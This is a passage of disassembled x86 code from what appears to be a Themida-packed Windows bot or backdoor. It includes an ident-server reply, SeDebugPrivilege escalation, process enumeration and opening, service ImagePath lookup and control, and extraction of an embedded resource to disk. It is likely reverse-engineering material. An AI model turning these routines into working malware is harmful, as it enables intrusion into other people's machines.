		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5F285B
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 2820269h
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		call	near ptr 28F0857h
		nop
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		call	near ptr 28F0543h
		nop
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FBAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 28F0857h


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	near ptr 28F0000h
		nop
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2880B84h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 278030Dh
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 2780911h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 2780CBCh
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 2790000h
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 0A6E89056h, 0C6023601h, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 2830000h


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 2930000h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28E0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444AD4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1466E8h, 8EE850FFh, 90023B08h,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
					; DATA XREF: Themida_:005843E4o
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900A6Dh
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28A0C50h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		call	near ptr 2910346h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27801D3h
		push	eax
		nop
		call	near ptr 28C1659h
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27801F2h
		push	eax
		nop
		call	near ptr 28C1C3Dh
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28D0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		nop
		call	near ptr 27B07E7h
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	near ptr 2700000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		call	near ptr 2780211h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2880B84h
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27D070Bh
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 2830000h


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
